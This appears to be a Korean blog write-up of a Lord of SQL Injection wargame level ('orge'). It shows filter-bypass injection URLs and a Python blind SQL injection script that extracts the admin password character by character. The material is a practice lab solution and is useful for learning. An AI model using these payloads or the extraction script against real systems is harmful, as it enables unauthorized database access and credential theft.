1. 문제 지문


2. 요약
  • 일부 문자와 or, and 문자열 필터링
  • 두 개의 쿼리에 동시에 입력 값(pw) 전달
  • 입력한 값과 결과로 나온 DB 결과가 모두 일치해야 문제가 풀림

3. 풀이
이전 Orc 문제와 비슷하게, Blind SQL Injection으로 admin의 패스워드를 찾아낸 후 정확한 패스워드를 입력해야 하는 문제로 생각되었다.

우선 Hello admin부터 띄워보았다.
select id from prob_orge where id='guest' and pw='-1' || id='admin'#
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%23



admin의 패스워드 길이 확인
select id from prob_orge where id='guest' and pw='-1' || id='admin' && length(pw)=8#'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%20%26%26%20length(pw)=8%23
참고로 and도 필터링이 되어 있기 때문에 '&&'로 대체해서 보내야 한다.
하지만 '&'기호는 GET방식으로 전달되지 않는다는 특징이 있기 때문에 URL인코딩 값인 '%26'으로 변환하여 보낸다.
  • 우회 문자
    • or → ||
    • and → && → %26%26
    • # → %23

Blind SQL Injection 코드 작성 및 공격
Blind SQL Injection을 위한 코드를 준비한다.
(Orc 문제 풀이에 사용한 코드 재활용)
#!/usr/bin/python
#-*-coding:utf-8  -*-
import urllib,urllib2,requests


password=""


for j in range(1,9):  # 1~8자리 패스워드를 찾아야함
  print "%d" %j       # 현재 몇번째 인지 표시
  for i in range(48,128): # 대부분의 글자들 다 찾아내기
    try:  # 시작!
      url="https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1' || id='admin'" + " %26" + "%26 " + "substr(pw," + str(j) + ",1)='" + chr(i)
      r = requests.post(url,cookies=(dict(PHPSESSID="자신의 세션 ID"))) # 자신의 Session ID를 넣어야함.
      print str(j)+"번째 찾는 중 : "+chr(i) # 대략적인 현재 위치를 확인하기 위함
    except:
      print "Error"
      continue
    if 'Hello admin' in r.text:
      password = password + chr(i)
      print "[+]Password : " + password
      break
그리고 공격

'6C864DEC'출력

공격할 URL 작성
select id from prob_orge where id='guest' and pw='-1' || id='admin' && pw='6c864dec'#'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%20%26%26%20pw=%276c864dec%27%23

그러나...

공격에 성공하지 않았다. 저번 Orc 문제와 동일하게 대문자를 소문자로 바꿔서 했는데도 공격이 성공하질 않았다.

그 이유가

위의 두 번째 문단의 코드를 간과했기 때문이다.

즉, 첫 번째 문단의 코드에서는 id가 guest인 상태에서 pw를 입력 받았으나
두 번째 문단의 코드에서는 id가 admin인 상태에서 pw만 받는 것이였다.

그렇다면, pw만 입력하면 클리어되므로,
select id from prob_orge where id='guest' and pw='6c864dec'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=6c864dec

클리어

'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (09) vampire  (0) 2021.07.11
LOS 풀이 - (08) troll  (0) 2021.07.11
LOS 풀이 - (06) darkelf  (0) 2019.07.09
LOS 풀이 - (05) wolfman  (0) 2019.07.09
LOS 풀이 - (04) Orc  (0) 2019.07.09

+ Recent posts